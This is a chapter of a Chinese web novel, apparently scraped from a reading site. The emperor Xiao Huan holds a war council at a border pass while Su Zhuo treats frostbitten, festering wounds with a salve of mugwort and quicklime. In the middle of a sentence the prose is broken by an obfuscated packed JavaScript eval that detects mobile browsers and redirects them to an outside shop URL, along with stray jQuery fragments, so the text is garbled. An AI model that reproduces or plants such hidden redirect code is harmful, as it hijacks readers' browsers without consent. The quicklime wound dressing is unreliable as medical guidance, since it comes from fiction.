默认冷灰
24号文字
方正启体

第九十四章:并肩作战

作者:脑袋瓜困掉了本书字数:K更新时间:
    第十一日午后,前锋抵达苍狼隘。说是隘口,实则是一片起伏的丘陵地,周崇残部依着几处坡地垒起简易营寨,旌旗破败,营中伤兵哀鸣不绝于耳。


    周崇亲自迎出。不过半月不见,这位铁塔般的将军仿佛瘦了一圈,甲胄上布满刀箭痕迹,左臂用布带吊着,隐隐渗出血色。见到御驾,他疾步上前,单膝跪地,声音沙哑如砾石摩擦:“末将周崇,未能御敌于关外,反丧师失地,累及陛下亲涉险境,罪该万死!”


    萧寰下马,亲手扶起他:“将军力战不退,已尽忠职守。罪在通敌**者,不在将军。”他目光扫过营中景象,眉头紧锁,“眼下情势如何?”


    周崇引众人登上隘口一处高坡,指向北方。暮色渐合,远处地平线上,可见连绵的营火,如繁星坠地,漫山遍野,几乎望不到头。更近些,原野上残留着大量车辙印、马蹄坑,还有未曾掩埋的断矛残旗,无声诉说着此前激战的惨烈。


    “敌军主力约四万余,驻扎在三十里外的野狐原。”周崇语速沉缓,“其先锋游骑每日抵近骚扰,约有数千骑,来去如风,专挑我粮道、斥候下手。敌军装备极精良,骑兵披挂的锁子甲,我军的寻常箭矢难以穿透。他们还有一种短**,可在马上疾驰时连发,威力不小。”


    他顿了顿,声音更低:“更麻烦的是,他们对这一带地形……熟悉得过分。几次小规模接战,都像提前知道我军布防薄弱处。末将怀疑,军中……或还有萧执余孽未清,在暗中传递消息。”


    萧寰与苏灼对视一眼,皆看到对方眼中凝重。内忧未绝,外患已至。


    是夜,中军大帐内灯火通明。炭盆烧得再旺,也驱不散北地渗骨的寒意。萧寰披着大氅,与周崇、几名副将及匆匆赶来的几位京营统领商议军情,苏灼与江一苇也在侧旁听。


    沙盘上,敌我态势一目了然:敌众我寡,敌逸我劳,敌暗我明。


    “正面硬撼,胜算不足三成。”一位京营老将摇头叹息,“我军长途奔袭,人马疲惫。敌军以逸待劳,又挟新破黑水关之锐气……”


    “难道就此困守?”另一年轻将领急道,“粮草转运艰难,久守必溃!必须寻机出击!”


    “出击?拿什么击?我军骑兵不足对方三成,步兵结阵推进,人家骑兵两翼一抄,便是死地!”


    争论渐起,帐内气氛沉闷。萧寰静静听着,不时咳嗽几声,脸色在火光下更显苍白,唯有眼神锐利如初,盯着沙盘上那片代表野狐原的凹地。


    苏灼的目光,却落在帐外隐约传来的伤兵呻吟声上。她悄然起身,走出大帐。


    伤兵营设在背风处,几十顶帐篷挤在一起,药味、血腥味和冻疮溃烂的臭味混杂,扑面而来。军中医官人手不足,忙得脚不沾地,呻吟声、哀求声不绝于耳。一个断了腿的年轻士兵疼得浑身抽搐,旁边同袍死死按着他,额上全是汗。


    苏灼走过去,蹲下身查看。伤口处理得粗糙,天气严寒,已然有些发黑溃烂的迹象。她眉头紧蹙,想起在断云寨时,山中湿冷,寨民们打猎受伤,江一苇教过她一些应对寒毒创口的土方。


    “去打盆干净的雪来,要表层的。”她吩咐那按着伤兵的同袍,又转向不远处忙碌的医官,“有烈酒、干艾草、还有……生石灰吗?”


    医官一愣,见是随御驾而来的女子,虽不知身份,但气度不凡,忙道:“酒和艾草有,生石灰……营中垒灶或许有些。”


    “找来,越快越好。”


    苏灼挽起袖子,就着同袍打来的雪水,重新清洗伤口。她的动作稳而快,洗去脓血,剜去少许坏死的皮肉,那伤兵起初惨叫,渐渐变成压抑的抽气。清洗完毕,她用烈酒再次擦拭,然后将医官找来的艾草揉碎,混合少许碾细的生石灰粉末,敷在伤口上,用干净布条紧紧包扎。


    “每日换一次药,布条要用沸水煮过,晒干再用。”她嘱咐那同袍,“若能找到蒲公英、地丁草,捣烂敷上更好。”


    说来也奇,那伤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160554|196593||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    兵敷药后不过一刻,抽搐便渐渐止住,苍白的脸上竟恢复了一丝血色,沉沉睡去。


    消息很快传开。苏灼也不藏私,带着江一苇和几个略通药理的亲兵,将方子改良艾草杀菌,石灰燥湿防腐,另添了几味北地常见的、有生肌之效的草药。制成药膏后,先给几名伤重者试用,不过一日,伤口红肿消退,疼痛大减。


    “苏姑娘这药膏,神了!”老医官激动得胡须直颤,“以往这等伤口,十之**要溃烂丢命,如今竟有救了!”


    苏灼摇头:“只是暂时控制,后续调理、保暖更重要。”她带着人,连夜赶制出一批药膏,分发各营。又教军士们用雪水清洁伤处、煮沸布料等简易防疫之法。


    小小药膏,竟成严冬军中一缕暖阳。伤兵们看到了活命的希望,士气为之一振。连带着,看向那位沉默寡言、却有一手救命本事的靛蓝身影时,目光里也多了由衷的敬意。


    两日后,蛮族游骑的骚扰加剧,甚至一度逼近隘口哨卡。周崇率部出击,小胜一场,却也添了数十伤兵。苏灼在伤兵营忙到深夜,回自己帐篷时,远远见中军大帐仍亮着灯。


    她脚步顿了顿,转身走去。


    帐内,萧寰独自站在沙盘前,身影被烛光拉得细长。他正用几枚代表骑兵的小旗,反复推演着什么,眉头紧锁,不时掩唇低咳。


    “陛下。”苏灼在帐外唤了一声。


    萧寰抬头,见是她,冷峻的神色稍缓:“进来。”他看她一眼,“肩伤可还碍事?”


    “无妨。”苏灼走到沙盘旁,目光落在野狐原那片凹地,“陛下在想破敌之策?”


    萧寰将一枚小旗插在凹地边缘,叹道:“敌势雄厚,正面难敌。偷袭,他们警戒森严,又有内应可能通风报信。拖下去,粮草不济,天气愈寒,于我军更是不利。”他手指无意识敲击着沙盘边缘,“周崇提议,分兵绕后,断其粮道。但风险极大,一旦被察觉,绕后的部队便是孤军深入,有去无回。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)